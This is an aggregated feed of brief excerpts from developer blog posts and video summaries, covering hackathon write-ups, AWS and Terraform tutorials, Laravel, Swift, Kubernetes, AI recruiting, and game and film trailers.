    This is a submission for the World's Largest Hackathon Writing Challenge: Building with Bolt. I was inspired and I felt a call to contribute something not just to the children in my family but all the children in my community. This project was built primarily by the agent. I had the vision for creating a tool to help parents manage their young ones. But it is the A.I agent that brought my vision to reality It is difficult to undo changes once made. I also had instances when I doubted if I was up to the task. But I was patient and persevered and I am very proud of my achievement  ( 4 min )
    Creating with Bolt
    This is a submission for the World's Largest Hackathon Writing Challenge: Building with Bolt. I was inspired and I felt a call to contribute something not just to the children in our family and community. This project was built primarily by the agent. I had the vision for creating a tool to help parents manage their loved ones. But it is the A.I agent that brought my vision to reality It is difficult to undo changes once made. I also had instances when I doubted if I was up to the task. But I was patient and persevered and I am very proud of my achievement  ( 4 min )
    Creating with Bolt
    This is a submission for the World's Largest Hackathon Writing Challenge: Building with Bolt. I was inspired and I felt a call to contribute something not just to the children in my family but all the children in my community. This project was built primarily by the agent. I had the vision for creating a tool to help parents manage their young ones. But it is the A.I agent that brought my vision to reality It is difficult to undo changes once made. I also had instances when I doubted if I was up to the task. But I was patient and persevered and I am very proud of my achievement  ( 4 min )
    Creating with Bolt
    This is a submission for the World's Largest Hackathon Writing Challenge: Building with Bolt. I was inspired and I felt a call to contribute something not just to the children in my family but all the children in my community. This project was built primarily by the agent. I had the vision for creating a tool to help parents manage their young ones. But it is the A.I agent that brought my vision to reality It is difficult to undo changes once made. I also had instances when I doubted if I was up to the task. But I was patient and persevered and I am very proud of my achievement  ( 4 min )
    Creating with Bolt
    This is a submission for the World's Largest Hackathon Writing Challenge: Building with Bolt. I was inspired and I felt a call to contribute something not just to the children in my family but all the children in my community. This project was built primarily by the agent. I had the vision for creating a tool to help parents manage their young ones. But it is the A.I agent that brought my vision to reality It is difficult to undo changes once made. I also had instances when I doubted if I was up to the task. But I was patient and persevered and I am very proud of my achievement  ( 4 min )
    Terraform + AWS Free Tier, From Zero to Test Deployment: A 20‑Minute Playground
    Introduction On July 15, 2025 AWS simplified its Free Tier into a credit-based model, offering $200 in credits to new accounts, making it easier than ever to spin up and experiment with real infrastructure at minimal cost. This example setup is intended for testing only and is not recommended for running production workloads. It is especially useful for developers who are new to AWS and Terraform and want a quick environment to start learning. In this configuration: Networking and access control are defined as public and SSH is enabled on all IPs. IAM roles use broad permissions rather than least-privilege best practices. RDS sizing and high availability are minimal. Terraform state is assumed to be stored locally without remote locking. Cost and load testing should be performed before h…  ( 8 min )
    How Do You Fit a Swarm of Agents in a Clown Car?
    How Do You Fit a Swarm of Agents in a Clown Car? (A MatrixSwarm How-To) Step right up, children of the cloud! Ready for a carnival trick your ops team won’t believe? Imagine stuffing your entire AI automation swarm into a single, tamper-proof, encrypted artifact—no Docker, no plugins, no side files. Just one directive, and a circus of agents ready to roll anywhere, anytime... (Cue the calliope music) Most devs know that deploying agents across multiple servers can feel like herding... well, cats in clown suits. You want security: Only your code, never a Trojan, should run. You want portability: Deploy the whole act on any server, no “missing file” errors, no “works on my laptop” excuses. That’s where the --clown-car and --hash-bang flags for encrypt_directive.py come in. Let’s peel bac…  ( 5 min )
    Hands-On Guide: Launching a WordPress Blog Using AWS Lightsail (For Beginners)
    Introduction What You’ll Need An AWS account (sign up at aws.amazon.com) Internet access No coding skills required Step-by-Step: Deploy WordPress on AWS Lightsail Go to the AWS Console and search for Lightsail Click Create Instance Choose Linux/Unix as the platform Select WordPress as the application Pick an instance plan (starting from $3.50/month) Name your instance and click Create Instance Wait about 2–3 minutes for your instance to be ready Copy the Public IP address and paste it into your browser You should now see your WordPress site live Logging into the WordPress Admin Panel In your browser, go to: http://YOUR_PUBLIC_IP/wp-admin http://34.201.101.22/wp-admin Enter the default credentials: Username: user Password: You will retrieve this from the Lightsail console How to R…  ( 5 min )
    Level Up Your GitHub Repo with Professional Documentation 🔥
    TL;DR Every time we work with a product, be it a framework or a code editor, we come across its documentation. And if the documentation is clear and beautiful, then we immediately like what we use. In this article, I would like to tell you how you can make professional documentation for your GitHub repository and more. Well, let's get started!🏎️ For our documentation, we will use a ready-made solution called Astro Starlight. We will compare it with the equally popular VuePress solution and see why we use Astro in this article. You can make similar documentation taken from here. It looks pretty good. First of all, let's compare two designs that are provided from the default project sites. This way, we can understand which design suits us: VuePress Starlight Different people like diff…  ( 7 min )
    ☁️ EC2: AWS-Elastic Compute Cloud (Real-World Friendly )
    🔹 Horizontal vs Vertical Scaling Horizontal Scaling ➜ Add more instances (like hiring more employees to share the work) 🔹 Elasticity in Cloud? Elastic = The ability to scale up/down automatically — more power when needed, less cost when not. EC2 ➜ Your virtual machine (like a cloud-based computer) 🔹 Networking & Access Public IP ➜ Temporary (changes after stop/start) 🔹 Management & Monitoring Start/Stop ➜ You won’t be charged for compute while stopped (but storage charges stay) *🔧 Troubleshooting * 🔄 Changing instance type? Don’t worry — data stays safe on EBS 📌 Best Practices 🤔 Why am I posting this? To document the journey and make EC2 feel simpler and more approachable for anyone exploring cloud technologies. Your feedback & thoughts are always welcome! AWS #CloudComputing #EC2 #LearningJourney #DevOps #CloudSecurity #note #awsNOTe #cloudNOTE  ( 5 min )
    Cómo Instalar Deathmatch Classic de Steam en Manjaro, Arch y Otras Distribuciones
    Deathmatch Classic es un juego que, aunque originalmente diseñado para Windows, ahora puede jugarse en Linux gracias a la plataforma Steam y a Proton. Este tutorial te guiará paso a paso para instalar el juego en distribuciones populares como Manjaro, Arch y Garuda. Instalar Steam: Asegúrate de tener Steam instalado en tu sistema. Si no lo tienes, puedes seguir los pasos específicos para tu distribución. Proton: Este es un software que permite ejecutar juegos de Windows en Linux. Viene integrado en Steam bajo la opción Steam Play. Inicia la aplicación Steam en tu computadora e ingresa en tu cuenta. Haz clic en la pestaña Steam en la esquina superior izquierda. Selecciona Ajustes. En el menú de la izquierda, busca Steam Play. Asegúrate de activar la opción Enable Steam Play for supported ti…  ( 5 min )
    Características Técnicas del Sistema Operativo Linux CentOS
    CentOS es una distribución de Linux que se ha convertido en una opción popular entre los administradores de sistemas y los desarrolladores. A continuación, se presentan sus características técnicas más relevantes: Sistema Operativo: CentOS Tipo: Linux Origen: Estados Unidos Estado del Proyecto: Activo Ranking: 8K (en popularidad) CentOS es compatible con varias arquitecturas, lo que lo hace versátil para diferentes entornos: aarch64 ppc64le x86_64 La distribución ofrece soporte para diferentes entornos de escritorio, facilitando la personalización de la experiencia del usuario: GNOME KDE CentOS se clasifica en varias categorías, lo que refleja su diversidad de uso: Desktop Live Medium Server CentOS es una distribución activa y robusta, ideal para servidores y estaciones de trabajo. Su compatibilidad con múltiples arquitecturas y entornos de escritorio, junto con su estado activo, la convierten en una opción atractiva para quienes buscan un sistema operativo Linux confiable. Para más información, puedes visitar su sitio web oficial.  ( 4 min )
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    Check out this Pen I made!  ( 3 min )
    Two Writers. Two Documents. Two Very Different Reviews.
    Recently, I submitted a document for review alongside a colleague. Both of our drafts were similar in tone, content, and structure. Yet, while my colleague’s work sailed through with minimal feedback, mine was heavily criticized. Every sentence was picked apart, and every choice was questioned. It quickly stopped feeling like constructive feedback and started feeling personal. As technical writers, we expect our work to be reviewed critically—that’s how we grow. But when the same standard isn’t applied to everyone, the process feels unfair. Was the issue truly with my content, or was I up against someone’s personal preference? Or worse, bias? In moments like these, it doesn’t matter if your writing is technically perfect. What matters is that someone’s preferences or opinions can overshadow collaboration and fairness. It’s an uncomfortable reality: great work can be stalled, not because of its quality, but because of who wrote it. This experience left me asking tough questions: How do we ensure feedback stays objective? How do we prevent editorial bias from stifling collaboration? And when the process no longer feels fair, is it time to consider a new team or environment? One thing is clear: feedback should build, not break. It should focus on the work, not the writer. When that balance is lost, we all lose—the writer, the team, and ultimately, the user we’re writing for.  ( 4 min )
    The Siren Song: Vibe Coding and the Build Trap
    The prospect of creating applications without the need of developers, designers or product managers is irresistible to anyone without the team or the technical knowledge or experience to build a modern software application. That is to say most people. We can and should encourage the use of vibe coding as another instrument in the rapid-prototyper's toolbox, since the promise of this practice is not the creation of fully realized production apps, despite advertisements to the contrary, but to allow a person or a team to validate product ideas and features at the speed of a prompt. The Build Trap exists when a single non-specialist can deploy an app for a few dollars after a frenzied 100 hours of vibe coding the same as it does when a full complement of designers, developers and testers spen…  ( 6 min )
    Open World Tours - Gamified Tourism Quest App: Beyond the Code - WLH Challenge
    This is a submission for the World's Largest Hackathon Writing Challenge: Beyond the Code. Open World Tours - Gamified Tourism Quest App - Gamifying tourism with AI-generated quests and multiplayer experiences to revolutionize how millions explore the world Team Members: gal tfilin, Elly-Sabet Craimer Krepostman, Igor D, Michael Kabalik, +4 Project URL: https://devpost.com/software/open-world-tours-gamified-tourism-quest-app While Open World Tours - Gamified Tourism Quest App represents our technical achievement, the true magic of the World's Largest Hackathon happened in the connections, collaborations, and community moments that shaped our journey. Building Open World Tours - Gamified Tourism Quest App wasn't just about writing code—it was about forging relationships and learning to wor…  ( 5 min )
    Ask In Bio - Linktree Killer: After the Hack - WLH Challenge
    This is a submission for the World's Largest Hackathon Writing Challenge: After the Hack. Ask In Bio - Linktree Killer - Ask In Bio helps creators to make more money. We're an AI link-in-bio where fans can ask creators questions and uncover content/affiliate links that help creators earn and engage more. Team Members: Paulius Masalskas, EngMarketer Friend Project URL: https://devpost.com/software/askinbio The World's Largest Hackathon may have concluded, but for Ask In Bio - Linktree Killer, it was just the beginning of an exciting journey that has reshaped our trajectory as developers and innovators. What started as a hackathon submission has evolved into something much more significant. Ask In Bio - Linktree Killer has grown from a proof-of-concept to a potential market solution. Curren…  ( 6 min )
    What To Do if Your Web Site Is as Slow as Molasses in January
    Image from the 1982 version of the CandyLand board game. Web performance is one of those topics that simmers on the back burner for some developers; something that, unless well-regulated and occasionally stirred (read: fine-tuned) can easily boil over. It’s a well-worn mantra that for each second of wait time experienced by a user, revenue is lost. Bounce rates, e.g. how quickly a user will leave your site, increases 32% as a page’s load time increases from one second to three seconds [source]. Given today’s attention spans, it’s likely that users’ patience is becoming ever shorter. Fixing your website’s performance is not a one-time activity. As it grows and changes, performance should always be top of mind for the careful developer. Nor is a slow website repaired by focusing on just one …  ( 7 min )
    [Boost]
    Designing for Everyone: Figma’s Role in Inclusive Innovation kronoryx ・ Jul 30 #frontend #ui #ux #design  ( 3 min )
    Designing for Everyone: Figma’s Role in Inclusive Innovation
    You’ve probably heard the buzz about inclusive design. Maybe it sounded like a trend—one of those things’ companies talk about but rarely put into practice. But here’s the shift: accessibility is no longer optional. And tools like [UI/UX Figma]( ) are at the heart of this transformation. From Good Intentions to Great Execution Designing Like You Mean It One Portal, One Purpose: A Case Study Why It Matters More Than Ever Designing for Neurodiversity: The Forgotten Frontier Final Thoughts ), you can build something beautiful—and most importantly, something that's everyone's.  ( 5 min )
    How to deploy phpMyAdmin with Docker Compose and Traefik in 5 Minutes
    Many times, there's a need to view a MySQL or MariaDB database in a production or local environment. Installing a management tool via a package manager or deploying it manually through Nginx or Apache can be inconvenient. A more efficient solution is to deploy it using Docker Compose. While there are valid security concerns, in some cases, it’s acceptable to use this setup for a short time frame. To improve security, it's important to avoid the default path /phpmyadmin. Instead, set a PathPrefix to a long, non-obvious string, so bots can’t easily scan and find it. While there are always security concerns, this setup can be acceptable for short-term use in controlled environments. traefik.http.routers.phpmyadmin.rule: Host(`example.com`) && PathPrefix(`/Wwz3UdlBz4`)` traefik.http.middlewar…  ( 5 min )
    How Meta's AI-Driven Interviews Are Transforming Software Engineering Recruitment
    In the rapidly evolving landscape of software engineering, the integration of artificial intelligence in job interviews marks a pivotal shift in how candidates are assessed. A notable statistic highlights this trend: nearly 90% of companies are exploring or already utilizing AI tools to streamline their hiring processes. Among these innovations is vibecoding, a groundbreaking AI tool that enables candidates to leverage coding assistance during technical interviews. While proponents argue that such tools can enhance problem-solving skills and better reflect a candidate's potential, critics raise concerns about equity and authenticity. Specific challenges arise with the use of AI in recruitment. Foremost among these is the risk of introducing bias into hiring decisions due to data-driven al…  ( 12 min )
    How Laravel Loads and Caches Translation Files in Localization
    Localization is one of Laravel's powerful features, allowing developers to support multiple languages seamlessly using either PHP array files or JSON files. But one question that often comes up is: Does Laravel cache translations? And how does it handle large translation files? Let’s break it down and understand what actually happens under the hood. Located in: /lang/{locale}/messages.php Structure: return [ 'welcome' => 'Welcome to our website', 'login' => 'Login here', ]; Usage: __('messages.welcome') Located in: /lang/{locale}.json Structure: { "Welcome": "Welcome to our website", "Login": "Login here" } Usage: __('Welcome') Laravel does not load all translation files at once. Instead: It loads a translation file only when a key is requested from it. Then it stores…  ( 5 min )
    Bring Your Own Laptop: I Quit Photoshop for Procreate After 25 Years
    tl;dr: After 25 years in Photoshop and Illustrator, artist Nathan Brown dove head-first into Procreate and hasn’t looked back. He breaks down seven game-changing lessons—from ditching the pen tool (yes, really!) and falling in love with brushes to streamlining layers, customizing gestures like a boss, and enjoying a one-time, budget-friendly price. If you’re an Adobe pro itching for a fresh workflow, Nathan’s switch proves Procreate is shockingly intuitive, crazy powerful, and—best of all—makes you want to draw more every single day. Watch on YouTube  ( 4 min )
    Gareth David Studio: Effortlessly CONVERT Images to Greyscale In InDesign | Design Tutorial
    Effortlessly convert any image to greyscale in InDesign with this quick Pro Tip from the GDS Design School Ultimate Guide. Just check out the video, grab the interactive course PDF linked in the description, and you’ll be editing like a pro in no time. Want to geek out on design, swap feedback, and level up with challenges? Join the free GDS Design School Discord community, and follow Gareth David Studio on Instagram, X, Facebook, LinkedIn, or swing by GDS.com for more exclusive content. Watch on YouTube  ( 4 min )
    Gareth David Studio: FontBase: The BEST Font Management App for Independent Designers!
    FontBase is a sleek, speedy font manager that makes organizing and activating your typefaces a breeze. In the video overview, you’ll see how it fits into a designer’s workflow and snag a promo code (GDS) for three months of the “Awesome” plan totally free. On top of that, Gareth David Studio invites you to join the GDS Design School community—free on Discord—for design feedback, challenges and more. Keep up with their tips and exclusive content on Instagram, X, Facebook, LinkedIn or at garethdavidstudio.com. Watch on YouTube  ( 4 min )
    Jesse Showalter: Figma to Replit | MVP in 10 minutes
    Figma to Replit | MVP in 10 minutes Replit just dropped a killer Figma Import feature that lets you turn your designs into production-ready apps, websites, or software—with zero coding chops needed. Their Replit Agent walks you through importing your Figma file, auto-generates real code, and even helps you customize, scale, and deploy your project in record time. Along the way, they plug their on-demand courses, live trainings, and community over at DesignChamps, plus other tools like Framer and Notion to supercharge your workflow. Don’t forget to hit Subscribe to catch all the tips and tricks! Watch on YouTube  ( 4 min )
    🚀 How Kubernetes Is Modernizing the Tech Industry
    "From startups to global enterprises, Kubernetes isn't just a trend — it's a revolution." 🔧 In today’s fast-paced tech world, scalability, resilience, and automation aren’t just nice to have — they’re survival tools. And Kubernetes is leading the way. "Break the monolith, embrace agility." 🧱➡️🧩 Kubernetes makes it easier to manage distributed microservices architectures, allowing teams to deploy, update, and scale features independently. "Your infrastructure should follow your business, not limit it." ☁️ Kubernetes works seamlessly across multi-cloud and hybrid environments — offering freedom from vendor lock-in and more resilient deployments. "Why wake up at 3 AM for server issues when Kubernetes can fix itself?" 😴🤖 Kubernetes automatically restarts failed containers, balances load, and scales apps based on real-time demand. "If it's in code, it's in control." 🧠💻 Infrastructure as Code (IaC) using YAML means you can version, audit, and reuse configurations — making your deployments repeatable and reliable. "Dev writes code, Ops keeps it running — Kubernetes helps them dance." 💃🕺 Kubernetes enables true DevOps culture by giving both teams shared tools, visibility, and automation to move fast without breaking things. "You can’t scale chaos — but you can scale securely." 🔐 With features like Role-Based Access Control (RBAC), network policies, and secrets management, Kubernetes keeps your apps safe by default. "Where Kubernetes goes, the community builds." 🧑‍💻🌐 From Helm charts to service meshes like Istio — the K8s ecosystem is thriving with tools that supercharge your infrastructure. "Kubernetes isn't the future — it's the foundation." 🏗️ As businesses demand more speed, scale, and stability, Kubernetes continues to prove why it's the backbone of modern infrastructure. Are you using Kubernetes in production? Share your experience or war stories in the comments — let’s modernize together! 🚀  ( 5 min )
    Why So Many Web Apps Still Miss the Mark (And How to Build One That Doesn’t)
    Even with all the frameworks, cloud platforms, and UI kits at our fingertips, we still see web apps that are hard to use, slow to launch, and expensive to maintain. After working with startups, scale-ups, and enterprise clients, I’ve noticed a pattern: most teams don’t have a tech problem—they have a clarity problem. In this post, I’ll walk through real mistakes I’ve seen, what modern web apps actually need, and what a good web application development company does differently. Most failed apps didn’t start small—they started wide. One project I consulted on had 22 features in the MVP. It took 10 months to launch, and by the end of month one, only three features had meaningful usage. Better approach: Strip it to the user’s main workflow. Build one key outcome. Let adoption pull you forward,…  ( 5 min )
    📡 Advantages of Using EIC-EIAP in the Telecom Industry
    In the fast-moving telecom world, manual approvals and legacy systems can't keep up. That's where EIC-EIAP steps in — bringing automation, efficiency, and transparency to the table. Let’s explore how adopting EIC (Enterprise Infrastructure Catalog) and EIAP (Enterprise Infrastructure Automation Platform) transforms telecom operations. "When every team speaks the same language, things just move faster." 🧩 With EIC, all infrastructure assets follow a standard structure — no more confusion between regions or teams. "Why configure manually when the system can do it 100x faster and error-free?" ⚙️ EIAP automates the provisioning and modification of infrastructure resources, saving time and reducing human errors. "If you can’t see it, you can’t manage it." 👀 Using EIC, telecom teams gain a clear view of all assets — including their lifecycle, status, and ownership — making audits and governance much simpler. "From weeks to minutes — that’s the power of automation." ⏱️ EIAP enables rapid rollout of services across thousands of sites — perfect for telecom environments where time-to-market is critical. "Compliance isn't optional — and EIC-EIAP ensures it's always on." 🛡️ Built-in guardrails ensure every asset and action aligns with security and operational standards. "Good platforms don’t replace your ecosystem — they enhance it." 🔗 EIC-EIAP can plug into your CI/CD pipelines, ticketing systems, CMDBs, and more — creating a connected, intelligent infrastructure flow. "Less blame, more build. EIC-EIAP brings Dev, Ops, and Network together." 🤝 By using a centralized catalog and automated workflows, cross-functional teams work in sync, improving delivery speed and quality. Telecom isn’t just about cables anymore — it’s about code, cloud, and control. EIC-EIAP is helping telecom operators shift from reactive to proactive, intelligent infrastructure management. Want to dive deeper into real-world EIC-EIAP use cases or how it complements DevOps in telecom? Drop a comment — let’s build smart together. 🛠️  ( 5 min )
    🤳📍 Your Phone’s Silent Betrayal: What Your Photos Are Revealing
    One selfie. One post. That’s all it took for a stranger to find you. 🖊️ Shubhra • 23 July, 2025 • Social Media & Privacy That perfect solo selfie you just shared? Aarushi was just 21. New city, new college, new freedom. She’d fallen in love with the small bookstore café tucked between two noisy alleys of Pune — the kind of place no one really knew about. Perfect for reading, journaling, and the occasional selfie. That evening, the café was almost empty. Golden hour light filtered through the window. Aarushi angled her phone, smiled, and posted: “Peace & pages 📖✨ #eveningsolo” She didn’t tag the place. She didn’t share her location. She didn’t need to — she thought. A man entered the café 15 minutes later. Older. Silent. He scanned the room and walked to a table two spots behind her. Aaru…  ( 7 min )
    A árdua batalha da Memoização
    This is a translation of the original post The Uphill Battle of Memoization by TkDodo Já existem muitos conteúdos excelentes por aí sobre o que você poderia fazer antes de usar React.memo. O post do Dan Abramov chamado "before you memo" ("Antes de você memoizar" em tradução livre) e o "Simples truque para otimizar re-renderizações no React" do Kent C. Dodds são dois ótimos exemplos de leitura sobre o tema. A ideia é deixar a composição do componente resolver o problema para você, seja ao mover o state (Estado da Aplicação) para baixo ou movendo o conteúdo para cima. Isso é brilhante porque a composição de componentes é o modelo mental natural do React. Como o Dan mostrou, isso também vai funcionar bem com Server Components, que agora já são realidade. O que está faltando na a maior parte d…  ( 10 min )
    🔧 Role of DevOps in the Telecom Industry — Real Impact & Transformation
    The telecom industry is no longer about just wires and signals — it’s about speed, automation, and reliability. That’s where DevOps comes in. Let’s explore how DevOps is quietly powering massive change in telecom — from network automation to delivering seamless user experiences. "Launching a new feature shouldn't take months. With DevOps, it takes days — sometimes even hours." ⏱️ Telecom companies use CI/CD pipelines to roll out new services and updates rapidly without disrupting customer experience. "Imagine pushing new network configurations daily — safely and automatically." 🔄 DevOps enables frequent updates with automated testing, deployment pipelines, and rollback mechanisms. That’s crucial in high-availability sectors like telecom. "DevOps is the bridge between your script and a re…  ( 5 min )
    A Simple Cheat Sheet for JavaScript Developers Transitioning to Python
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    IGN: Reverse 1999 - Official Ezio Assassin's Creed Trailer
    Ezio Auditore is leaping into Reverse 1999, Bluepoch’s time-twisting strategy RPG, and the official trailer just dropped to prove it. Our favorite Renaissance assassin brings his stealthy parkour and deadly flair to the mix in this epic crossover. Mark your calendars for August 7—Ezio joins the game on iOS, Android and PC. Ready your hidden blade and get set to rewrite history! Watch on YouTube  ( 4 min )
    IGN: Hell is Us - Official 'Diving into the Dungeons' Overview Trailer
    Hell is Us drops you into a gritty third-person action-adventure where you’re on your own—no quest markers, no waypoints—just raw exploration and danger. Rogue Factor’s “Diving into the Dungeons” trailer shows off handcrafted subterranean lairs packed with environmental puzzles and brutal combat encounters that keep every corridor tense and rewarding. Mark your calendar for September 4, when Hell is Us unleashes its dark depths on PlayStation 5, Xbox Series X|S, and PC. Watch on YouTube  ( 4 min )
    IGN: Ninja Gaiden: Ragebound Review
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    IGN: Plushes - Official Teaser Trailer
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    IGN: Rainbow Six Siege X - Official Rengoku 3 Gameplay Trailer
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    IGN: Marvel Rivals: Official Season 3.5 Update | Dev Vision Vol. 08
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    How to Build an AI Agent Chatbot That Answers FAQs? Step by Step Guide
    If you're running a website or managing customer support, you know the pain. Endless repetitive questions, late-night pings, and stretched support teams that can’t keep up. In fact, 67% of customers expect to use chatbots for support by 2025, and roughly 80% of routine questions are FAQ-type queries that don’t need a human touch. Here’s the good news: Let’s jump right in. Every good chatbot starts with a clear problem to solve. Don’t try to build a bot that does everything. Start with your top 20–50 FAQs. Ask yourself: What do customers ask most often? What issues cause the most support tickets? Are there product or service details that confuse users? Examples of FAQ categories: Shipping & delivery times Refunds & returns How-to guides Pricing plans Appointment booking info Create a sprea…  ( 7 min )
    Meta's Billion-Dollar Play: The AI Recruitment Race Redefined
    In the rapidly evolving landscape of technology, the race for artificial intelligence talent has never been more intense. Companies like Meta are deploying aggressive recruitment strategies to attract the brightest minds in the AI field, significantly influencing the competitive dynamics of the industry. With offers soaring into the hundreds of millions, and some reports even citing figures above one billion for key personnel, it's clear that Meta AI Recruiting is setting a precedent that smaller AI startups can only aspire to match. As the tech race heats up, securing top-tier AI talent has become a crucial determinant of success. The implications of this scramble for skilled professionals extend beyond individual companies, reshaping the future of AI development itself. In this high-stak…  ( 10 min )
    AI in Healthcare in 2025
    Unlocking Health's Future: A Glimpse into AI-Driven Predictive Diagnostics In 2025, Artificial Intelligence is fundamentally transforming healthcare, moving us from a reactive "fix-it" model to a proactive, preventative approach. This paradigm shift is largely driven by predictive diagnostics, where sophisticated AI algorithms are enabling us to foresee health outcomes long before symptoms even appear. It's about leveraging vast datasets to forecast an individual's likelihood of developing certain conditions, fundamentally reshaping patient care and enabling earlier, more effective interventions. Unlocking Health's Future: A Glimpse into AI-Driven Predictive Diagnostics How AI Powers Predictive Diagnostics: Electronic Health Records (EHRs) Medical Imaging (X-rays, MRIs, CT scans) Genomic…  ( 5 min )
    Install ACB on Cursor
    You might be having issues to install the Anypoint Extension Pack on Cursor because it might not be showing up in the Extensions tab. Here's how to fix that. Make sure you have Git installed Open Cursor Open the VS Code settings (not Cursor settings) Search for marketplace and paste the following Service URL: https://marketplace.visualstudio.com/_apis/public/gallery Restart Cursor Go to Extensions and look for the Anypoint Extension Pack Install  ( 4 min )
    Why System-Level Programming Is More Fun Than Full-Stack Dev
    👨‍💻 Full-Stack Dev: The JavaScript Jungle Let’s get this out of the way: full-stack development is cool. You get to make buttons do things. You learn five frameworks just to center a div. You chase bugs that only happen when someone uses Safari in landscape mode on a 2011 iPad. But let me tell you a secret. Nothing slaps harder than knowing you're talking directly to the CPU. System-level programming is that forbidden fruit — low-level, dangerous, powerful, and oh-so-satisfying. While full-stack devs are out here wrestling with CSS, system programmers are debugging memory dumps in gdb at 2 AM, and loving every second of it. Let’s break this down. In full-stack dev: document.getElementById("fun").innerHTML = "Nope"; In system programming: *(volatile unsigned int*)0xDEADBEEF = 0xBADC0DE…  ( 7 min )
    Top 5 Reasons Why AI Agents Can’t Replace Human Developers Yet
    Artificial Intelligence has been heralded as the future of software development, promising to accelerate coding, reduce errors, and even replace junior developers altogether. Investors pour billions into AI coding assistants, and many believe these tools will soon revolutionize the way we write software. But a new study by the AI research nonprofit METR throws a wrench in this narrative. Published in July 2025 and recently covered by Reuters, the study found that experienced software developers actually slowed down by nearly 20% when using AI coding assistants on tasks involving codebases they were intimately familiar with. This result surprises many who expected AI to supercharge seasoned coders, but it shines a light on a fundamental truth: AI coding agents are not ready to replace human…  ( 7 min )
    IGN: Street Fighter 6 - Official Character Guide: Sagat Trailer
    Sagat's Street Fighter 6 debut on August 5, 2025 features his Tiger Uppercut, Tiger Nexus, fireballs, advanced special moves, and a unique Level 2 Super Art. Watch on YouTube  ( 3 min )
    IGN: WWE's Dominik Mysterio Reacts to The Best Dominik Mysterio Memes
    Dominik Mysterio reacts to memes about his love life and feud with Rey Mysterio, sharing his honest thoughts and rating fan-favorite jokes about himself. Watch on YouTube  ( 3 min )
    IGN: Drag x Drive - Official Nintendo Switch 2 Overview Trailer
    Drag x Drive is an action basketball game for Nintendo Switch 2 using new Joy-Con 2 controllers. Features 3v3 matches, single-player and online modes. Launches August 14 with demo sessions. Watch on YouTube  ( 3 min )
    Ringer Movies: ‘The Fantastic Four: First Steps' Is Here. Plus: Our Fall Film Festival Preview. | The Big Picture
    Sean and Amanda discuss fall film festivals, share early Best Picture contenders, and critique ‘The Fantastic Four: First Steps’ for its miscasting and disappointing execution. Watch on YouTube  ( 4 min )
    Ringer Movies: The 25 Best Movies of the Century: No. 14 - ‘Moneyball' | The Big Picture
    Discussion on ‘Moneyball’ highlights its unique production, Brad Pitt's best performance, and the film’s lasting impact despite director Bennett Miller's sparse output. Watch on YouTube  ( 4 min )
    Ringer Movies: ‘Brokeback Mountain' With Bill Simmons and Wesley Morris | The Rewatchables
    Bill Simmons and Wesley Morris discuss Heath Ledger’s performance, most rewatchable scenes, and key themes in their deep dive into Ang Lee’s Brokeback Mountain. Watch on YouTube  ( 4 min )
    Ringer Movies: The 1990s Horror Movie Canon and The ‘KPop Demon Hunters' Revolution | The Big Picture
    Hosts discuss ‘Fantastic Four’ box office, praise Netflix’s ‘KPop Demon Hunters,’ critique ‘I Know What You Did Last Summer,’ and debate the 1990s horror genre’s legacy. Watch on YouTube  ( 4 min )
    🚀 I Built Something for Vibe Coders (and I Need Your Honest Feedback)
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    Ng-News 25/29: PrimeNgx, Stable Zoneless, Native Animations
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    CreativePro: After the Hack - WLH Challenge
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    Ringer Movies: ‘Brokeback Mountain' With Bill Simmons and Wesley Morris | The Rewatchables
    Bill Simmons and Wesley Morris rewatch Ang Lee’s film, praise Heath Ledger’s performance, discuss favorite scenes, and analyze key moments in a detailed film discussion. Watch on YouTube  ( 4 min )
    What's the One DevOps "Best Practice" You Secretly Ignore (and Why)?
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    How OpenRouter Unlocked Our Workshop Strategy
    When my team launched Goose in early January 2025, we knew we had something special. We built a free, open source AI agent that leverages the Model Context Protocol. It was inventive in its approach, offering developers a local solution with the flexibility to bring their LLM of choice. After using the product internally for a few months, my teammates were eager to share Goose with the developer community through workshops and hackathons. We wanted to provide hands-on experiences where people could actually build with Goose, because that's how developers fall in love with a product. But we hit a thorny challenge: while Goose is free, high-performing LLMs are not. Free, local open source models exist, but the experience is variable and often requires high-end hardware. Many local models str…  ( 7 min )
    Migrate Your App to Swift 6: A Comprehensive Guide
    Swift 6 represents a paradigm shift in iOS development, introducing strict concurrency checking and data-race safety as core language features. While this brings significant benefits for app stability and performance, migrating existing codebases can be challenging. This comprehensive guide will walk you through the migration process, common pitfalls, and proven strategies to successfully adopt Swift 6. Starting in April 2025, all new apps submitted will need to be built with Xcode 16 and the iOS 18 SDK, making Swift 6 migration increasingly important for App Store compliance. However, the benefits extend far beyond compliance: Eliminate Data Races: Some of your app's crashes are likely related to data races, while you have no clue how to reproduce them. Don't be surprised to see them disa…  ( 11 min )
    7 Ways to Use AI to Build a Minimum Viable Product (MVP) Fast
    Building an MVP is all about speed. The faster you get your product in the hands of real users, the quicker you can gather feedback, validate your idea, and make necessary improvements. With the power of AI, you can streamline your MVP process and get your product into the hands of real users at lightning speed. In this article, we’ll cover 7 tangible ways to help you do just that, so you can nail your MVP and get it into the market fast. Let’s jump right in! Although originally coined by Frank Robinson in 2001, the term was brought to the mainstream by Eric Ries in his popular book “The Lean Startup” released in 2011. In short, a minimum viable product (MVP) is defined as a product with just enough features to be usable by real end-users. Typically, a minimum viable product builds on the…  ( 12 min )
    How to Use Reusable Elements in Bubble.io (Pass Data In & Out)
    Bubble's Reusable Elements help you build cleaner, more scalable applications. Whether you're building a dynamic UI, reusable modals, or consistent layouts, mastering how to pass data into and out of reusable elements is essential. In this tutorial, you'll learn: ✅ How to create a Reusable Element ✅ How to use it on any page ✅ How to pass data from a parent page or group to the Reusable Element ✅ How to pass data back from the Reusable Element to the parent using workflows or custom states 📺 Watch the full video tutorial here: 🧩 What Are Reusable Elements? Reusable Elements in Bubble are like components in traditional development. They allow you to design something once—like a modal, card, navbar, or popup—and use it across multiple pages or contexts. Instead of du…  ( 6 min )
    Building a Fast, Lightweight Web Server in Pure Ruby: A Complete Guide
    Building your own web server might seem daunting, but Ruby's built-in libraries make it surprisingly straightforward. In this comprehensive guide, we'll create a fast, lightweight, and performant web server using nothing but pure Ruby—no external gems or dependencies required. Understanding how web servers work under the hood is crucial for any developer. By building one from scratch, you'll gain insights into: HTTP protocol fundamentals Socket programming Request/response handling Performance optimization techniques Ruby's networking capabilities Our final server will be capable of handling multiple concurrent connections, serving static files, and processing dynamic requests efficiently. Before we start, ensure you have: Ruby 2.7 or higher installed Basic understanding of HTTP protocol F…  ( 11 min )
    [Boost]
